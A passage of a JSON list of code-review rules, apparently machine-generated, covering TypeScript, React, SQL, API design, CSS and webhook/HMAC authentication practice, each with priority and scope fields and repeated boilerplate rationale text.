example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Build conditional payloads declaratively, not with stacked ifs","rule":"Assemble an object of all candidate fields, then filter by a whitelist and non-null check in one pass, instead of mutating the payload through a chain of if statements.","apiRule":"Assemble an object of all candidate fields, then filter by a whitelist and non-null check in one pass, instead of mutating the payload through a chain of if statements. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name optional filter flags so undefined means the intended default","rule":"Choose the polarity of an optional filter so that omitting it (undefined) yields the desired default; 'fieldsToPush=undefined' reads as 'push nothing', whereas 'fieldsToExclude=undefined' correctly reads as 'include all'.","apiRule":"Choose the polarity of an optional filter so that omitting it (undefined) yields the desired default; 'fieldsToPush=undefined' reads as 'push nothing', whereas 'fieldsToExclude=undefined' correctly reads as 'include all'. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name boolean flags so the common case needs no prop","rule":"If a behavior is on by default, name the flag for the opt-out (hideWordCount) instead of the opt-in (displayWordCount) so callers don't have to pass it in the common case.","apiRule":"If a behavior is on by default, name the flag for the opt-out (hideWordCount) instead of the opt-in (displayWordCount) so callers don't have to pass it in the common case. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use a named-options object once a function exceeds ~3 parameters","rule":"Functions with more than about three positional parameters are hard to read and easy to misorder; pass a single options object with named fields instead.","apiRule":"Functions with more than about three positional parameters are hard to read and easy to misorder; pass a single options object with named fields instead. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass a duration (TTL), not a precomputed timestamp, when the DB sets the time","rule":"If the database computes the base time with NOW(), have callers pass a named TTL duration (e.g. FILE_TTL_IN_MS) rather than a client-computed absolute date that can drift from server time.","apiRule":"If the database computes the base time with NOW(), have callers pass a named TTL duration (e.g. FILE_TTL_IN_MS) rather than a client-computed absolute date that can drift from server time. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Log handled incidents so they're traceable in your log aggregator","rule":"When you swallow or recover from an error, emit a structured log so the incident can be traced later in the log/monitoring stack rather than disappearing silently.","apiRule":"When you swallow or recover from an error, emit a structured log so the incident can be traced later in the log/monitoring stack rather than disappearing silently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Catch non-critical sub-step failures so they don't abort the whole operation","rule":"If an optional enrichment step (e.g. generating metadata) fails, catch it and continue with a fallback rather than letting it throw and discard the rest of a successful operation.","apiRule":"If an optional enrichment step (e.g. generating metadata) fails, catch it and continue with a fallback rather than letting it throw and discard the rest of a successful operation. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Guard possibly-undefined values instead of asserting the type","rule":"When a value can legitimately be undefined, render/handle the guarded case rather than forcing it with `as Type`, which hides a real optionality mismatch and risks runtime errors.","apiRule":"When a value can legitimately be undefined, render/handle the guarded case rather than forcing it with `as Type`, which hides a real optionality mismatch and risks runtime errors. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't call services directly from client-side hooks","rule":"Client hooks should call an action/endpoint, which calls the service; a client hook reaching straight into a backend service skips a layer and breaks the boundary.","apiRule":"Client hooks should call an action/endpoint, which calls the service; a client hook reaching straight into a backend service skips a layer and breaks the boundary. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer one batched request over a request per item","rule":"When uploading or submitting multiple items, send them in a single multipart/batched request rather than firing one request per item, which simplifies error handling and atomicity.","apiRule":"When uploading or submitting multiple items, send them in a single multipart/batched request rather than firing one request per item, which simplifies error handling and atomicity. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer an HMAC signature over a raw shared-secret header","rule":"Authenticating service-to-service calls by sending a plaintext shared secret in a header means a single leak compromises everything; send an HMAC of the request instead so the header is safe to expose.","apiRule":"Authenticating service-to-service calls by sending a plaintext shared secret in a header means a single leak compromises everything; send an HMAC of the request instead so the header is safe to expose. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Authenticate internal file/upload routes to prevent abuse","rule":"Even internal-only file endpoints need an access-control check (shared secret, signed token, or HMAC header), otherwise the service can be hijacked as free file storage.","apiRule":"Even internal-only file endpoints need an access-control check (shared secret, signed token, or HMAC header), otherwise the service can be hijacked as free file storage. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Resolve access checks with a single LEFT JOIN, not sequential queries","rule":"Determine authorization by joining the user to ownership and share tables in one query and checking for nulls, instead of issuing several lookups and combining the results in code.","apiRule":"Determine authorization by joining the user to ownership and share tables in one query and checking for nulls, instead of issuing several lookups and combining the results in code. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Avoid DISTINCT selects; they usually signal a join flaw","rule":"A DISTINCT in a query is usually a sign that a join is fanning out incorrectly; fix the join/grouping rather than deduplicating after the fact, since DISTINCT is also comparatively expensive.","apiRule":"A DISTINCT in a query is usually a sign that a join is fanning out incorrectly; fix the join/grouping rather than deduplicating after the fact, since DISTINCT is also comparatively expensive. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compute derived per-entity flags in the main query, not in extra methods","rule":"Instead of separate service methods that re-fetch relations to answer 'isSharedWithMe' style questions, extend the existing fetch query with joins so each entity arrives with its derived flags already populated.","apiRule":"Instead of separate service methods that re-fetch relations to answer 'isSharedWithMe' style questions, extend the existing fetch query with joins so each entity arrives with its derived flags already populated. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Provide a sizes attribute on responsive images to reduce download weight","rule":"Set the sizes attribute on responsive/next-image elements so the browser downloads an appropriately scaled image instead of an oversized one.","apiRule":"Set the sizes attribute on responsive/next-image elements so the browser downloads an appropriately scaled image instead of an oversized one. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer @ts-expect-error over @ts-ignore for suppressions","rule":"Use @ts-expect-error so the compiler flags the suppression once the underlying error is fixed, instead of @ts-ignore which silently lingers.","apiRule":"Use @ts-expect-error so the compiler flags the suppression once the underlying error is fixed, instead of @ts-ignore which silently lingers. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name storage helpers after where they read from or write to","rule":"Name persistence helpers explicitly for their target (e.g. setSessionInStorage, getSessionFromStorage) so the side effect is obvious and not confused with in-memory state.","apiRule":"Name persistence helpers explicitly for their target (e.g. setSessionInStorage, getSessionFromStorage) so the side effect is obvious and not confused with in-memory state. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Call a transform only when it would actually change the input","rule":"Don't call a function that returns its input unchanged for some flag values; guard at the call site so the function is invoked only when it has work to do.","apiRule":"Don't call a function that returns its input unchanged for some flag values; guard at the call site so the function is invoked only when it has work to do. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Confirm a mutation succeeded before triggering dependent updates","rule":"Check that a delete/update request actually succeeded before refreshing derived state, so the UI doesn't reflect a change the server rejected.","apiRule":"Check that a delete/update request actually succeeded before refreshing derived state, so the UI doesn't reflect a change the server rejected. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Unify near-duplicate components behind one component with a variant prop","rule":"When two components are almost identical, merge them into one configurable component (e.g. a boolean/variant prop) instead of maintaining two copies that drift apart.","apiRule":"When two components are almost identical, merge them into one configurable component (e.g. a boolean/variant prop) instead of maintaining two copies that drift apart. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Keep file names in sync with their primary export","rule":"A module's file name should match the function/component it exports; mismatched names make code harder to find and reason about.","apiRule":"A module's file name should match the function/component it exports; mismatched names make code harder to find and reason about. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mark decorative icons inside labelled controls as hidden from assistive tech","rule":"When an icon is purely decorative inside a control that already has an accessible label, hide it from screen readers and the tab order instead of letting it be announced/focused.","apiRule":"When an icon is purely decorative inside a control that already has an accessible label, hide it from screen readers and the tab order instead of letting it be announced/focused. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer a native button over a heavy UI-library button for simple cases","rule":"Use a plain semantic HTML button for simple interactive elements rather than pulling in a component-library button that adds weight and styling overhead you don't need.","apiRule":"Use a plain semantic HTML button for simple interactive elements rather than pulling in a component-library button that adds weight and styling overhead you don't need. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Memoize components that must not re-render on unrelated state changes","rule":"Wrap a component in memo when an unrelated parent state update (e.g. opening an image preview) would otherwise re-render and reset its expensive content.","apiRule":"Wrap a component in memo when an unrelated parent state update (e.g. opening an image preview) would otherwise re-render and reset its expensive content. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Narrow prop types to the fields actually used with Pick/Omit","rule":"When a component only needs a few fields of a larger model, type the prop with Pick/Omit (or pass only those fields) instead of declaring the full type and passing unused data.","apiRule":"When a component only needs a few fields of a larger model, type the prop with Pick/Omit (or pass only those fields) instead of declaring the full type and passing unused data. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name handlers and variables after intent, not the triggering mechanism","rule":"Name a function for the behaviour it performs (e.g. submit, toggle, scroll-to) rather than the DOM event that triggers it, but keep onClick when it truly is just a click handler in that component.","apiRule":"Name a function for the behaviour it performs (e.g. submit, toggle, scroll-to) rather than the DOM event that triggers it, but keep onClick when it truly is just a click handler in that component. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Only use React cache() for calls repeated within a single render/request","rule":"React's cache() dedupes only within one request scope; don't rely on it to dedupe calls across layouts/routes that run in separate scopes.","apiRule":"React's cache() dedupes only within one request scope; don't rely on it to dedupe calls across layouts/routes that run in separate scopes. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Skip a dependency fetch when its result is already available","rule":"Before firing a request whose only purpose is to derive inputs you already have (e.g. from query params), short-circuit and reuse them to avoid an unnecessary round trip.","apiRule":"Before firing a request whose only purpose is to derive inputs you already have (e.g. from query params), short-circuit and reuse them to avoid an unnecessary round trip. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Push URL state instead of replacing it when back navigation must work","rule":"When syncing filters/pagination to the URL, push history entries (not replace) so the browser back button restores the previous state.","apiRule":"When syncing filters/pagination to the URL, push history entries (not replace) so the browser back button restores the previous state. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Model null and undefined as distinct states when they mean different things","rule":"Use null for an explicit empty/failed value and undefined for not-yet-set, and type accordingly when the two cases must be handled differently.","apiRule":"Use null for an explicit empty/failed value and undefined for not-yet-set, and type accordingly when the two cases must be handled differently. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Return a descriptive JSON body and correct status code on API errors","rule":"On an error path, send the appropriate HTTP status (e.g. 404, not a generic 500) together with a JSON message explaining why, using shared status-code constants.","apiRule":"On an error path, send the appropriate HTTP status (e.g. 404, not a generic 500) together with a JSON message explaining why, using shared status-code constants. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Keep single-use constants local; promote to shared modules only when reused","rule":"Define a constant (translation string, config value) in the file that uses it, and move it to a shared module only once a second consumer actually needs it.","apiRule":"Define a constant (translation string, config value) in the file that uses it, and move it to a shared module only once a second consumer actually needs it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Verify webhook signatures against the raw request body before trusting the event","rule":"For inbound webhooks, verify the provider signature against the raw (unparsed) request body using the shared secret before constructing or acting on the event.","apiRule":"For inbound webhooks, verify the provider signature against the raw (unparsed) request body using the shared secret before constructing or acting on the event. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Do not open a transaction for a single statement","rule":"A single INSERT/UPDATE/DELETE is already atomic; wrapping one statement in an explicit transaction adds overhead and noise without any consistency benefit.","apiRule":"A single INSERT/UPDATE/DELETE is already atomic; wrapping one statement in an explicit transaction adds overhead and noise without any consistency benefit. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not exact-match floating-point columns","rule":"Avoid equality comparisons on float/double columns or values; use a tolerance range or a fixed-precision type, since exact matching silently fails to find rows.","apiRule":"Avoid equality comparisons on float/double columns or values; use a tolerance range or a fixed-precision type, since exact matching silently fails to find rows. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Combine alternative-match filters with OR, not AND","rule":"When several filters represent alternative ways a record can match (e.g. country/region/sub-region), group them with OR inside one clause and AND that group with the rest, or valid cross-matches return nothing.","apiRule":"When several filters represent alternative ways a record can match (e.g. country/region/sub-region), group them with OR inside one clause and AND that group with the rest, or valid cross-matches return nothing. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Trim string inputs and reject blank values with the right validators","rule":"Combine a trimming transformer with a not-empty validator so whitespace-only inputs are rejected and stored trimmed, instead of a min-length check that still accepts padded blanks.","apiRule":"Combine a trimming transformer with a not-empty validator so whitespace-only inputs are rejected and stored trimmed, instead of a min-length check that still accepts padded blanks. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Name array and collection variables in the plural","rule":"Give variables that hold arrays or collections a plural, descriptive name so the type is obvious from the identifier.","apiRule":"Give variables that hold arrays or collections a plural, descriptive name so the type is obvious from the identifier. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Reject duplicate keys within array payloads at validation time","rule":"When a request array must not contain two entries with the same key, add an array-uniqueness validator so duplicates are rejected before they reach persistence.","apiRule":"When a request array must not contain two entries with the same key, add an array-uniqueness validator so duplicates are rejected before they reach persistence. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Enforce intended uniqueness with a database constraint, not just application logic","rule":"When the design requires at most one row per key combination, declare a composite UNIQUE index at the database/model level so duplicates are impossible regardless of application code paths.","apiRule":"When the design requires at most one row per key combination, declare a composite UNIQUE index at the database/model level so duplicates are impossible regardless of application code paths. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"universal"},{"title":"Branch logging on the actual result, never log success unconditionally","rule":"When an error-capturing wrapper returns a result object instead of throwing, check that result before logging success; an unconditional success log after a caught error produces misleading ops logs.","apiRule":"When an error-capturing wrapper returns a result object instead of throwing, check that result before logging success; an unconditional success log after a caught error produces misleading ops logs. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"List optional parameters after required ones","rule":"Order function and method parameters so required arguments come first and optional ones last, keeping signatures predictable and call sites clean.","apiRule":"Order function and method parameters so required arguments come first and optional ones last, keeping signatures predictable and call sites clean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Order injected dependencies consistently (repositories first, logger/db last)","rule":"Keep a stable convention for constructor-injected dependencies across the codebase — e.g. repositories first, cross-cutting concerns like database and logger last — so classes are easy to scan.","apiRule":"Keep a stable convention for constructor-injected dependencies across the codebase — e.g. repositories first, cross-cutting concerns like database and logger last — so classes are easy to scan. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Define shared interfaces and types in dedicated files, not inside services","rule":"Declare exported interfaces and types in their own type/interface file rather than inline in a service, guard, or controller, so they are reusable and the implementation file stays focused.","apiRule":"Declare exported interfaces and types in their own type/interface file rather than inline in a service, guard, or controller, so they are reusable and the implementation file stays focused. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mark nullable response/request fields as nullable in the API schema","rule":"Every property that can be null in the TypeScript type must also declare nullability in its API schema decorator so generated docs and clients match runtime behavior.","apiRule":"Every property that can be null in the TypeScript type must also declare nullability in its API schema decorator so generated docs and clients match runtime behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use constructor references, not string literals, for OpenAPI property types","rule":"In API schema decorators pass the actual type constructor (String, Number, Boolean) rather than a string literal like 'string', which is interpreted as a literal value.","apiRule":"In API schema decorators pass the actual type constructor (String, Number, Boolean) rather than a string literal like 'string', which is interpreted as a literal value. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Drop redundant truthiness checks on already-falsy values","rule":"Do not add an extra emptiness check around a value whose falsy state already covers the case; an empty string, 0, or null is already falsy.","apiRule":"Do not add an extra emptiness check around a value whose falsy state already covers the case; an empty string, 0, or null is already falsy. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Provide a fallback for missing display text instead of rendering stray punctuation","rule":"When optional text is absent, render a fallback or omit the surrounding markup so you don't show dangling separators/question marks.","apiRule":"When optional text is absent, render a fallback or omit the surrounding markup so you don't show dangling separators/question marks. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Depend on stable releases, not preview/snapshot versions, for production","rule":"Don't ship a production build that depends on a preview/beta package version; cut a stable release first.","apiRule":"Don't ship a production build that depends on a preview/beta package version; cut a stable release first. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't over-modularize into one-export-per-file modules","rule":"Co-locate closely related code in one module instead of scattering single exports across many tiny files; named exports exist for this.","apiRule":"Co-locate closely related code in one module instead of scattering single exports across many tiny files; named exports exist for this. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give lazily-loaded components their own entry point to keep chunks small","rule":"Importing one component from a barrel pulls the whole package into the lazy chunk; import via a dedicated subpath/entry so only what's needed is bundled.","apiRule":"Importing one component from a barrel pulls the whole package into the lazy chunk; import via a dedicated subpath/entry so only what's needed is bundled. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Prefer JavaScript #private fields over the TypeScript private keyword","rule":"Use #field for true runtime privacy; the `private` keyword is compile-time only and can be bypassed at runtime.","apiRule":"Use #field for true runtime privacy; the `private` keyword is compile-time only and can be bypassed at runtime. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Define a repeated CSS value once as a custom property","rule":"When the same magic value is written in many selectors, lift it into a single top-level variable so it can't drift and you can't miss a spot.","apiRule":"When the same magic value is written in many selectors, lift it into a single top-level variable so it can't drift and you can't miss a spot. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep a scoped vendor reset pure; put your own fixes in a separate stylesheet","rule":"Adding custom fixes into a stylesheet meant to be a faithful scoped copy of a vendor reset risks them being lost on upgrade; isolate them.","apiRule":"Adding custom fixes into a stylesheet meant to be a faithful scoped copy of a vendor reset risks them being lost on upgrade; isolate them. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Scope CSS overrides with :where() to avoid raising specificity","rule":"When excluding or scoping rules, use :not(:where(...)) so the override doesn't accidentally bump specificity and start a specificity war.","apiRule":"When excluding or scoping rules, use :not(:where(...)) so the override doesn't accidentally bump specificity and start a specificity war. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Comment every z-index so stacking stays controllable","rule":"Always annotate z-index values with why/relative-to-what; uncommented z-indexes quickly become an unmanageable arms race.","apiRule":"Always annotate z-index values with why/relative-to-what; uncommented z-indexes quickly become an unmanageable arms race. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid 100vw for full-width; prefer container query units","rule":"100vw ignores the scrollbar and can cause horizontal overflow; make the element's ancestor a container and use 100cqi/100cqw instead.","apiRule":"100vw ignores the scrollbar and can cause horizontal overflow; make the element's ancestor a container and use 100cqi/100cqw instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Prefer for...of over forEach in test loops","rule":"Use for...of so assertions definitely run and async callbacks behave; an async forEach callback can let assertions 